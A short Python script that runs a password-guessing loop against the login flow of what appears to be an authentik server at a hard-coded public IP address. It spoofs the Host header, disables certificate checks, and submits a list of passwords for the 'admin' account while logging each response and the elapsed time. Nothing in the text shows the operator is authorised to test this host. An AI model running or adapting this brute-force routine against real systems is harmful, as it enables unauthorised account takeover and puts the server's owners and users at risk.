import requests, json, urllib3, time
urllib3.disable_warnings()
BASE = "https://112.199.81.2:37443/api/v3/flows/executor/default-authentication-flow/"
JH = {"Host":"www.itportal.cc","Content-Type":"application/json"}

def flow_noget(user, pwds):
    s = requests.Session(); s.verify=False
    r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-identification","uid_field":user}), allow_redirects=False, timeout=15)
    for p in pwds:
        r = s.post(BASE, headers=JH, data=json.dumps({"component":"ak-stage-password","password":p}), allow_redirects=False, timeout=15)
        try: j=r.json()
        except: j={}
        print(f"  {user}:{p} -> {r.status_code} {j.get('component')} {j.get('response_errors')}")
t0=time.time()
print("=== no-GET flow: admin x4 ===")
flow_noget("admin", ["a1","a2","a3","a4","a5"])
print("elapsed", round(time.time()-t0,2))
